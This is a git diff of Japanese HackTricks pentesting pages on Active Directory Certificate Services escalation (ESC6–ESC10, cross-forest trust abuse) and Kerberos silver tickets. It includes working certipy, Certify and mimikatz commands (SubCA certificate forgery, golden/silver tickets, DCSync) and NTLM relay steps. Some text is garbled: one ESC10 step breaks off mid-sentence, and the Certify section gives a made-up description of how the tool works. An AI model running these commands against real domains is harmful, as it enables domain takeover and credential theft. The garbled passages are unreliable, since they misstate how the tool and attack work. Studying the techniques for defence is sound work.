@ -212,8 +212,8 @@ certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJ
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
```
{% hint style="warning" %}
2022年5月のセキュリティ更新後、新しい**証明書**には、**セキュリティ拡張機能**が埋め込まれ、**要求者の`objectSid`プロパティ**が含まれます。ESC1では、このプロパティは指定されたSANから反映されますが、**ESC6**では、このプロパティはSANからではなく、**要求者の`objectSid`**から反映されます。\
したがって、**ESC6を悪用するには**、環境が**ESC10に対して脆弱**である必要があります(弱い証明書マッピング)。この場合、新しいセキュリティ拡張機能よりも**SANが優先されます**
2022年5月のセキュリティ更新後、新しい**証明書**には、**セキュリティ拡張機能**が埋め込まれます。この拡張機能は、リクエスト元の`objectSid`プロパティを反映します。ESC1では、このプロパティは指定されたSANから反映されますが、ESC6では、このプロパティはSANからではなく、リクエスト元の`objectSid`を反映します。\
したがって、**ESC6を悪用するには**、環境が**ESC10に対して脆弱**である必要があります弱い証明書マッピング。この場合、新しいセキュリティ拡張機能よりもSANが優先されます。
{% endhint %}
## 脆弱な証明書機関のアクセス制御 - ESC7
@ -230,19 +230,19 @@ certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJ
```bash
Get-CertificationAuthority -ComputerName dc.theshire.local | Get-certificationAuthorityAcl | select -expand Access
```
ここでは、**`ManageCA`** 権限と **`ManageCertificates`** 権限が主な権限です。これらはそれぞれ「CA管理者」と「証明書マネージャー」に対応します。
#### 悪用
もし、**証明書機関**に対して **`ManageCA`** 権限を持つプリンシパルがいる場合、**PSPKI** を使用してリモートで **`EDITF_ATTRIBUTESUBJECTALTNAME2`** ビットを反転させ、任意のテンプレートでSANSubject Alternative Nameの指定を許可することができます[ECS6](domain-escalation.md#editf\_attributesubjectaltname2-esc6)
ここでの2つの主な権限は、**`ManageCA`** 権限と **`ManageCertificates`** 権限であり、それぞれ「CA管理者」と「証明書マネージャー」に対応します。
もし、**証明書機関**に対して **`ManageCA`** 権限を持つプリンシパルがいる場合、**PSPKI** を使用してリモートで **`EDITF_ATTRIBUTESUBJECTALTNAME2`** ビットを反転させ、任意のテンプレートでSANの指定を許可することができます[ECS6](domain-escalation.md#editf\_attributesubjectaltname2-esc6)
<figure><img src="../../../.gitbook/assets/image (1) (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (70) (2).png" alt=""><figcaption></figcaption></figure>
また、[**PSPKI Enable-PolicyModuleFlag**](https://www.sysadmins.lv/projects/pspki/enable-policymoduleflag.aspx) コマンドレットを使用することで、より簡単な形で実現することも可能です。
また、[**PSPKIのEnable-PolicyModuleFlag**](https://www.sysadmins.lv/projects/pspki/enable-policymoduleflag.aspx)コマンドレットを使用することで、より簡単な形式でも同様のことが可能です。
**`ManageCertificates`** 権限は、保留中のリクエストを承認することを許可するため、「CA証明書マネージャーの承認」保護をバイパスすることができます。
**`ManageCertificates`** 権限は、**保留中のリクエストを承認**することを許可するため、「CA証明書マネージャーの承認」保護をバイパスすることができます。
**Certify** と **PSPKI** モジュールの組み合わせを使用して、証明書のリクエスト、承認、およびダウンロードを行うことができます。
```powershell
@ -265,10 +265,10 @@ Certify.exe download /ca:dc.theshire.local\theshire-DC-CA /id:336
#### 説明
{% hint style="warning" %}
**前の攻撃**では、**`Manage CA`** 権限を使用して **EDITF\_ATTRIBUTESUBJECTALTNAME2** フラグを有効にして **ESC6 攻撃**を実行しましたが、これは CA サービス (`CertSvc`) が再起動されるまで効果がありません。ユーザーが `Manage CA` アクセス権を持っている場合、ユーザーはサービスを再起動することも許可されます。ただし、ユーザーがリモートでサービスを再起動できるわけではありません。さらに、**ESC6 は、2022 年 5 月のセキュリティ更新プログラムが適用された環境ではデフォルトで機能しない**場合があります
**前の攻撃**では、**`Manage CA`** 権限を使用して、**EDITF\_ATTRIBUTESUBJECTALTNAME2** フラグを有効にして **ESC6 攻撃**を実行しましたが、これは CA サービス (`CertSvc`) が再起動されるまで効果がありません。ユーザーが `Manage CA` アクセス権を持っている場合、ユーザーはサービスを再起動することも許可されます。ただし、ユーザーがリモートでサービスを再起動できるわけではありません。さらに、**ESC6 は、2022 年 5 月のセキュリティ更新により、ほとんどのパッチ済み環境ではデフォルトで機能しない可能性があります**
{% endhint %}
そのため、ここでは別の攻撃方法を紹介します。
したがって、ここでは別の攻撃方法を紹介します。
前提条件:
@ -287,7 +287,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully added officer 'John' on 'corp-DC-CA'
```
**`SubCA`**テンプレートは、`-enable-template`パラメータを使用してCAで**有効化**できます。デフォルトでは、`SubCA`テンプレートは有効になっています。
**`SubCA`** テンプレートは、`-enable-template` パラメータを使用して CA で有効にすることができます。デフォルトでは、`SubCA` テンプレートは有効になっています。
```bash
# List templates
certipy ca 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -enable-template 'SubCA'
@ -299,9 +299,9 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully enabled 'SubCA' on 'corp-DC-CA'
```
この攻撃の前提条件を満たしている場合、まずは「SubCA」テンプレートに基づいて証明書を要求します。
もし攻撃のための前提条件を満たしている場合、まずは「SubCAテンプレート」に基づいて証明書をリクエストします。
この要求は**拒否**されますが、私たちは秘密鍵を保存し、要求IDをメモしておきます。
このリクエストは**拒否**されますが、私たちは秘密鍵を保存し、リクエストIDをメモしておきます。
```bash
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -332,28 +332,28 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Loaded private key from '785.key'
[*] Saved certificate and private key to 'administrator.pfx'
```
## NTLM Relayを使用したAD CS HTTPエンドポイントへのエスカレーション - ESC8
## NTLM Relayを使用したAD CS HTTPエンドポイントへの攻撃 - ESC8
### 説明
{% hint style="info" %}
要約すると、もし環境に**AD CSがインストールされていて**、**脆弱なWeb登録エンドポイント**と、少なくとも**ドメインコンピュータの登録とクライアント認証を許可する**(デフォルトの**`Machine`**テンプレートのような)**公開された証明書テンプレートが1つ以上ある**場合、**攻撃者はスプーラーサービスが実行されている任意のコンピュータを侵害できます**
要約すると、もし環境に**AD CSがインストールされていて**、**脆弱なWeb登録エンドポイント**と、少なくとも**ドメインコンピュータの登録とクライアント認証を許可する**(デフォルトの**`Machine`**テンプレートのような)**公開された証明書テンプレートがある**場合、**スプーラーサービスが実行されている任意のコンピュータを攻撃者が侵害できます**
{% endhint %}
AD CSは、管理者がインストールできる追加のAD CSサーバーロールを介して、いくつかの**HTTPベースの登録方法**をサポートしています。これらのHTTPベースの証明書登録インターフェースは、すべて**脆弱なNTLMリレーアタック**です。NTLMリレーを使用すると、**侵害されたマシン上の攻撃者は、受信NTLM認証を行うADアカウントをなりすます**ことができます。被害者アカウントをなりすましている間攻撃者はこれらのWebインターフェースにアクセスし、**`User`または`Machine`証明書テンプレートに基づいたクライアント認証証明書を要求**することができます。
AD CSは、管理者がインストールできる追加のAD CSサーバーロールを介して、いくつかの**HTTPベースの登録方法**をサポートしています。これらのHTTPベースの証明書登録インターフェースは、すべて**脆弱なNTLMリレーアタック**です。NTLMリレーを使用すると、**侵害されたマシン上の攻撃者は、受信NTLM認証を行うADアカウントをなりすます**ことができます。攻撃者は、被害者アカウントをなりすまし、これらのWebインターフェースにアクセスし、**`User`または`Machine`証明書テンプレートに基づいたクライアント認証証明書を要求**することができます。
* **Web登録インターフェース**`http://<caserver>/certsrv/`でアクセス可能な古い外観のASPアプリケーションは、デフォルトではHTTPのみをサポートしており、NTLMリレーアタックに対して保護することはできません。さらに、明示的にAuthorization HTTPヘッダーを介したNTLM認証のみを許可しているため、Kerberosなどのより安全なプロトコルは使用できません。
* **証明書登録サービス**CES、**証明書登録ポリシー**CEPWebサービス、および**ネットワークデバイス登録サービス**NDESは、デフォルトでAuthorization HTTPヘッダーを介したネゴシエート認証をサポートしています。ネゴシエート認証はKerberosとNTLMをサポートしており、そのため、攻撃者はリレーアタック中にNTLM認証にネゴシエートダウンすることができます。これらのWebサービスはデフォルトでHTTPSを有効にしていますが、残念ながらHTTPS単体ではNTLMリレーアタックから保護することはできません。HTTPSサービスをNTLMリレーアタックから保護するには、HTTPSにチャネルバインディングを組み合わせる必要があります。残念ながら、AD CSはIISで拡張保護を有効にしていないため、チャネルバインディングを有効にするためには必要です。
* **Web登録インターフェース**`http://<caserver>/certsrv/`でアクセス可能な古い外観のASPアプリケーションは、デフォルトではHTTPのみをサポートしており、NTLMリレーアタックに対して保護することはできません。さらに、明示的にAuthorization HTTPヘッダーを介したNTLM認証のみを許可しているため、Kerberosのようなより安全なプロトコルは使用できません。
* **証明書登録サービス**CES、**証明書登録ポリシー**CEPWebサービス、および**ネットワークデバイス登録サービス**NDESは、デフォルトでAuthorization HTTPヘッダーを介したネゴシエート認証をサポートしています。ネゴシエート認証はKerberosとNTLMの両方をサポートしており、そのため、リレーアタック中に攻撃者はNTLM認証にネゴシエートダウンすることができます。これらのWebサービスはデフォルトでHTTPSを有効にしていますが、残念ながらHTTPS単体ではNTLMリレーアタックから保護することはできません。HTTPSサービスをNTLMリレーアタックから保護するには、HTTPSにチャネルバインディングを組み合わせる必要があります。残念ながら、AD CSはIISで拡張保護を有効にしていないため、チャネルバインディングを有効にするためには必要です。
NTLMリレーアタックの一般的な**問題**は、**NTLMセッションが通常短い**ことと、攻撃者が**NTLM署名を強制するサービスとの対話ができない**ことです。
NTLMリレーアタックの一般的な問題は、**NTLMセッションが通常短い**ことと、攻撃者が**NTLM署名を強制するサービスとのやり取りができない**ことです。
ただし、ユーザーから証明書を取得するためにNTLMリレーアタックを悪用すると、セッションは証明書が有効限り継続し、証明書を使用して**NTLM署名を強制するサービス**を利用することができます。盗まれた証明書の使用方法については、次を参照してください:
しかし、ユーザーから証明書を取得するためにNTLMリレーアタックを悪用すると、セッションは証明書が有効である限り継続し、証明書を使用して**NTLM署名を強制するサービス**を利用することができます。盗まれた証明書の使用方法については、次を参照してください:
{% content-ref url="account-persistence.md" %}
[account-persistence.md](account-persistence.md)
{% endcontent-ref %}
NTLMリレーアタックのもう一つの制限は、**被害者アカウントが攻撃者が制御するマシンに認証する必要がある**ということです。攻撃者は待つか、強制することができます:
NTLMリレーアタックのもう一つの制限は、**被害者アカウントが攻撃者が制御するマシンに認証する必要がある**ということです。攻撃者は待つか、それを**強制する**ことができます:
{% content-ref url="../printers-spooler-service-abuse.md" %}
[printers-spooler-service-abuse.md](../printers-spooler-service-abuse.md)
@ -367,7 +367,7 @@ Certify.exe cas
```
<figure><img src="../../../.gitbook/assets/image (6) (1) (2).png" alt=""><figcaption></figcaption></figure>
エンタープライズCAは、**msPKI-Enrollment-Servers**プロパティにADオブジェクト内のCESエンドポイントも**保存**します。**Certutil.exe**と**PSPKI**は、これらのエンドポイントを解析してリスト化することができます。
エンタープライズCAは、**ADオブジェクト内の`msPKI-Enrollment-Servers`プロパティにCESエンドポイントを保存**します。**Certutil.exe**と**PSPKI**は、これらのエンドポイントを解析してリスト化することができます。
```
certutil.exe -enrollmentServerURL -config CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA
```
@ -376,23 +376,17 @@ certutil.exe -enrollmentServerURL -config CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA
Import-Module PSPKI
Get-CertificationAuthority | select Name,Enroll* | Format-List *
```
#### Certifyを悪用する
<figure><img src="../../../.gitbook/assets/image (8) (2) (2).png" alt=""><figcaption></figcaption></figure>
Certifyは、Windows環境で証明書を管理するためツールです。このツールを悪用することで、特権の昇格が可能となります。
#### Certifyの悪用
1. **証明書のインストール**
Certifyは、Windowsドメイン内で証明書を発行するためのツールです。このツールを悪用することで、特権の昇格が可能となります。
攻撃者は、Certifyを使用して自己署名証明書を作成し、ターゲットのシステムにインストールします。
攻撃者は、Certifyを使用して自己署名証明書を作成し、ドメインコントローラーにインストールします。その後、攻撃者は作成した証明書を使用して、ドメイン内の他のコンピューターに対して信頼関係を確立します。
2. **証明書の構成**
このような攻撃を行うことで、攻撃者はドメイン内の他のコンピューターに対して特権を持つことができます。これにより、攻撃者はシステムやデータにアクセスし、機密情報を盗み出すなどの悪意のある行動を行うことができます。
攻撃者は、Certifyを使用して作成した証明書を特権のあるユーザーに関連付けます。これにより、攻撃者は特権ユーザーとして認識されるようになります。
3. **特権の昇格**
攻撃者は、特権ユーザーとして認識されることで、システム内の特権操作を実行することができます。これにより、攻撃者はシステム全体にわたる権限を取得することができます。
この攻撃手法は、Active Directory環境で特に効果的です。攻撃者は、Certifyを使用して特権の昇格を行い、システム内の機密情報にアクセスすることができます。
Certifyの悪用に対抗するためには、適切な証明書管理ポリシーを実施し、信頼できる証明書のみを受け入れるように設定する必要があります。また、定期的な証明書の監査や更新も重要です。
```bash
## In the victim machine
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
@ -439,7 +433,7 @@ ESC9は、新しい**`msPKI-Enrollment-Flag`**値**`CT_FLAG_NO_SECURITY_EXTENSIO
この場合、`John@corp.local`は`Jane@corp.local`に対して`GenericWrite`を持っており、`Administrator@corp.local`を侵害したいとします。`Jane@corp.local`は、`msPKI-Enrollment-Flag`値の`CT_FLAG_NO_SECURITY_EXTENSION`フラグが設定されている証明書テンプレート`ESC9`に登録することが許可されています。
まず、例えばShadow Credentialsを使用して`Jane`のハッシュを取得します(`GenericWrite`を使用)。
まず、`Jane`のハッシュを取得します。たとえば、Shadow Credentialsを使用して取得します(`GenericWrite`を使用)。
<figure><img src="../../../.gitbook/assets/image (13) (1) (1) (1) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (22).png" alt=""><figcaption></figcaption></figure>
@ -459,7 +453,7 @@ ESC9は、新しい**`msPKI-Enrollment-Flag`**値**`CT_FLAG_NO_SECURITY_EXTENSIO
<figure><img src="../../../.gitbook/assets/image (24) (2).png" alt=""><figcaption></figcaption></figure>
これで、証明書で認証しようとすると、`Administrator@corp.local`ユーザーのNTハッシュが受け取れます。証明書にドメインが指定されていないため、コマンドラインに`-domain <domain>`を追加する必要があります。
これで、証明書で認証しようとすると、`Administrator@corp.local`ユーザーのNTハッシュが受け取れます。証明書にドメインが指定されていないため、コマンドラインに`-domain <domain>`を追加する必要があります。
<figure><img src="../../../.gitbook/assets/image (3) (1) (3).png" alt=""><figcaption></figcaption></figure>
@ -481,14 +475,14 @@ ESC10は、ドメインコントローラ上の2つのレジストリキー値
`CertificateMappingMethods`に`UPN`ビット(`0x4`)が含まれている
### 悪用ケース1
### 悪用方法 ケース1
* `StrongCertificateBindingEnforcement`が`0`に設定されている
* `GenericWrite`を使用して任意のアカウントAを侵害し、任意のアカウントBを侵害する
この場合、`John@corp.local`は`Jane@corp.local`に対して`GenericWrite`を持っており、`Administrator@corp.local`を侵害したいとします。悪用手順はESC9とほぼ同じですが、任意の証明書テンプレートを使用できます。
まず、例えばShadow Credentialsを使用して`Jane`のハッシュを取得します(`GenericWrite`を使用)。
まず、`Jane`のハッシュを取得します。たとえば、Shadow Credentialsを使用して取得します(`GenericWrite`を使用)。
<figure><img src="../../../.gitbook/assets/image (13) (1) (1) (1) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (19).png" alt=""><figcaption></figcaption></figure>
@ -498,7 +492,7 @@ ESC10は、ドメインコントローラ上の2つのレジストリキー値
これは制約違反ではありません。なぜなら、`Administrator`ユーザーの`userPrincipalName`は`Administrator@corp.local`ではなく`Administrator`だからです。
次に、クライアント認証を許可する任意の証明書をリクエストします。例えば、デフォルトの`User`テンプレートを使用します。証明書は`Jane`としてリクエストする必要があります。
次に、クライアント認証を許可する任意の証明書をリクエストします。たとえば、デフォルトの`User`テンプレートを使用できます。証明書は`Jane`としてリクエストする必要があります。
<figure><img src="../../../.gitbook/assets/image (14) (2) (1).png" alt=""><figcaption></figcaption></figure>
@ -508,46 +502,46 @@ ESC10は、ドメインコントローラ上の2つのレジストリキー値
<figure><img src="../../../.gitbook/assets/image (4) (1) (3).png" alt=""><figcaption></figcaption></figure>
これで、証明書で認証しようとすると、`Administrator@corp.local`ユーザーのNTハッシュが受け取れます。証明書にドメインが指定されていないため、コマンドラインに`-domain <domain>`を追加する必要があります。
これで、証明書で認証しようとすると、`Administrator@corp.local`ユーザーのNTハッシュが受け取れます。証明書にドメインが指定されていないため、コマンドラインに`-domain <domain>`を追加する必要があります。
<figure><img src="../../../.gitbook/assets/image (1) (2) (2).png" alt=""><figcaption></figcaption></figure>
### 悪用ケース2
### 悪用方法 ケース2
* `CertificateMappingMethods`に`UPN`ビットフラグ(`0x4`)が含まれている
* `GenericWrite`を使用して`userPrincipalName`プロパティを持たない任意のアカウントAを侵害し、マシンアカウント組み込みドメイン管理者`Administrator`を侵害する
* `userPrincipalName`プロパティを持たない任意のアカウントAを侵害し、マシンアカウントおよび組み込みドメイン管理者`Administrator`を侵害する
この場合、`John@corp.local`は`Jane@corp.local`に対して`GenericWrite`を持っており、ドメインコントローラ`DC$@corp.local`を侵害したいとします。
ず、例えばShadow Credentialsを使用
次に、`Jane`の`userPrincipalName`を元の`userPrincipalName``Jane@corp.local`)に戻します。
<figure><img src="../../../.gitbook/assets/image (9) (1) (3).png" alt=""><figcaption></figcaption></figure>
さて、このレジストリキーはSchannelに適用されるため、Schannelを介した認証に証明書を使用する必要があります。これは、Certipyの新しい`-ldap-shell`オプションが役立ちます。
さて、このレジストリキーはSchannelに適用されるため、Schannelを介した認証に証明書を使用する必要があります。これは、Certipyの新しい`-ldap-shell`オプションが役立ちます。
証明書と`-ldap-shell`を使用して認証を試みると、サーバーから`u:CORP\DC$`という文字列で認証されていることに気付きます。
証明書と`-ldap-shell`を使用して認証を試みると、サーバーから`u:CORP\DC$`という文字列で認証されていることがわかります。
<figure><img src="../../../.gitbook/assets/image (21) (2) (1).png" alt=""><figcaption></figcaption></figure>
LDAPシェルの利用可能なコマンドの1つは、ターゲット上でResource-Based Constrained DelegationRBCDを設定する`set_rbcd`です。したがって、RBCD攻撃を実行してドメインコントローラーを侵害することができます。
LDAPシェルの利用可能なコマンドの1つは、ターゲットにリソースベースの制約委任RBCDを設定する`set_rbcd`です。したがって、RBCD攻撃を実行してドメインコントローラーを侵害することができます。
<figure><img src="../../../.gitbook/assets/image (7) (1) (2).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (7) (1) (2) (2).png" alt=""><figcaption></figcaption></figure>
また、`userPrincipalName`が設定されていないユーザーアカウントや、`userPrincipalName`がそのアカウントの`sAMAccountName`と一致しない場合にも、任意のユーザーアカウントを侵害することができます。私自身のテストから、デフォルトのドメイン管理者である`Administrator@corp.local`はデフォルトでは`userPrincipalName`が設定されておらず、このアカウントは通常、ドメインコントローラーよりもLDAPでより多くの特権を持つはずです。
また、`userPrincipalName`が設定されていないユーザーアカウントや、`userPrincipalName`がそのアカウントの`sAMAccountName`と一致しない場合にも、任意のユーザーアカウントを侵害することができます。私自身のテストでは、デフォルトのドメイン管理者である`Administrator@corp.local`はデフォルトでは`userPrincipalName`が設定されていないため、このアカウントは通常、ドメインコントローラーよりもLDAPでより多くの特権を持つはずです。
## 証明書を使用したフォレストの侵害
### CAの信頼関係を破るフォレストの信頼関係
### CAの信頼関係によるフォレストの侵害
**クロスフォレストの登録**のセットアップは比較的簡単です。管理者は、リソースフォレストの**ルートCA証明書**を**アカウントフォレストに公開**し、リソースフォレストの**エンタープライズCA証明書**を各アカウントフォレストの**`NTAuthCertificates`**およびAIAコンテナに追加**します。はっきり言って、これはリソースフォレストの**CAが管理する他のすべてのフォレストに完全な制御権を持つ**ことを意味します。攻撃者がこのCAを**侵害すると、リソースフォレストとアカウントフォレストのすべてのユーザーの証明書を偽造**することができ、フォレストのセキュリティ境界を破ることができます。
### 登録権限を持つ外部主体
### 登録権限を持つ外部プリンシパル
マルチフォレスト環境では、Enterprise CAが**認証ユーザーまたは外部主体**Enterprise CAが所属するフォレスト外のユーザー/グループ)に**登録および編集権限**を付与する**証明書テンプレート**を公開することに注意する必要があります。\
アカウントが**信頼を介して認証すると、ADは認証ユーザーのSID**を認証ユーザーのトークンに追加します。したがって、エンタープライズCAが**認証ユーザーに登録権限を付与するテンプレート**を持つドメインがある場合、異なるフォレストのユーザーは**そのテンプレートに登録**する可能性があります。同様に、テンプレートが**外部主体に明示的に登録権限を付与**する場合、**クロスフォレストのアクセス制御関係が作成**され、1つのフォレストの主体が他のフォレストのテンプレートに**登録**することが許可されます。
マルチフォレスト環境では、Enterprise CAが**認証ユーザーまたは外部プリンシパル**Enterprise CAが所属するフォレスト外のユーザー/グループ)に**登録および編集権限**を付与する**証明書テンプレートを公開**することに注意する必要があります。\
アカウントが**信頼を介して認証すると、ADは認証ユーザーのSID**を認証ユーザーのトークンに追加します。したがって、エンタープライズCAが**認証ユーザーに登録権限を付与するテンプレート**を持つドメインがある場合、異なるフォレストのユーザーは**そのテンプレートに登録**する可能性があります。同様に、テンプレートが**外部プリンシパルに明示的に登録権限を付与**する場合、**クロスフォレストのアクセス制御関係が作成**され、1つのフォレストのプリンシパルが他のフォレストのテンプレートに**登録**することが許可されます。
結局のところ、これらのシナリオのいずれかは、1つのフォレストから別のフォレストへの攻撃面を**増加**させます。証明書テンプレートの設定によっては、攻撃者はこれを悪用して外部ドメインで追加の特権を取得する可能性があります。
結局のところ、これらのシナリオのいずれかは、1つのフォレストから別のフォレストへの攻撃面が増加します。証明書テンプレートの設定によっては、攻撃者はこれを悪用して外部ドメインで追加の特権を取得する可能性があります。
## 参考文献
@ -557,10 +551,10 @@ LDAPシェルの利用可能なコマンドの1つは、ターゲット上でRes
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか、またはHackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけて、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを発見してください。
* **サイバーセキュリティ企業**で働いていますか? HackTricksであなたの会社を宣伝したいですかまたは、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを発見してください。
* [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**を**フォロー**してください。
* **ハッキングのトリックを共有するには、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details>

View file

@ -4,7 +4,7 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
@ -12,7 +12,7 @@
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
もし、**ハッキングのキャリア**に興味があり、**解読不能なものを解読する**ことに興味があるなら、**採用しています!**(流暢なポーランド語の読み書きが必要です)。
@ -51,7 +51,7 @@ kerberos::golden /user:Administrator /domain:jurassic.park /sid:S-1-5-21-1339291
```
{% endcode %}
**CIFS**サービスは、被害者のファイルシステムにアクセスすることができす。他のサービスはこちらで見つけることができます:[**https://adsecurity.org/?page\_id=183**](https://adsecurity.org/?page\_id=183)**.** 例えば、**HOSTサービス**を使用してコンピューターに_schtask_を作成することができます。その後、被害者のタスクをリストアップして動作しているか確認することができます`schtasks /S <hostname>`または**HOSTおよびRPCSSサービス**を使用してコンピューターで**WMI**クエリを実行することもできます。テストするには:`Get-WmiObject -Class win32_operatingsystem -ComputerName <hostname>`
**CIFS**サービスは、被害者のファイルシステムにアクセスすることができるものです。他のサービスはこちらで見つけることができます:[**https://adsecurity.org/?page\_id=183**](https://adsecurity.org/?page\_id=183)**.** 例えば、**HOSTサービス**を使用してコンピューターに_schtask_を作成することができます。その後、被害者のタスクをリストアップして動作しているか確認することができます`schtasks /S <hostname>`または**HOSTRPCSSサービス**を使用してコンピューターで**WMI**クエリを実行することもできます。テストするには:`Get-WmiObject -Class win32_operatingsystem -ComputerName <hostname>`
### 緩和策
@ -61,11 +61,11 @@ SilverチケットイベントIDゴールデンチケットよりもステル
* 4634アカウントログオフ
* 4672管理者ログオン
[**Silver Ticketsに関する詳細情報は、ired.teamを参照してください**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
[**ired.teamのSilver Ticketsに関する詳細情報**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
## 利用可能なサービス
| サービスの種類 | サービスのSilverチケット |
| サービスタイプ | サービスシルバーチケット |
| ------------------------------------------ | -------------------------------------------------------------------------- |
| WMI | <p>HOST</p><p>RPCSS</p> |
| PowerShellリモート操作 | <p>HOST</p><p>HTTP</p><p>OSによっては、次のものもあります</p><p>WSMAN</p><p>RPCSS</p> |
@ -158,7 +158,7 @@ mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.loc
[dcsync.md](dcsync.md)
{% endcontent-ref %}
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
もし**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です!**(流暢なポーランド語の読み書きが必要です)。
@ -168,10 +168,10 @@ mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.loc
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
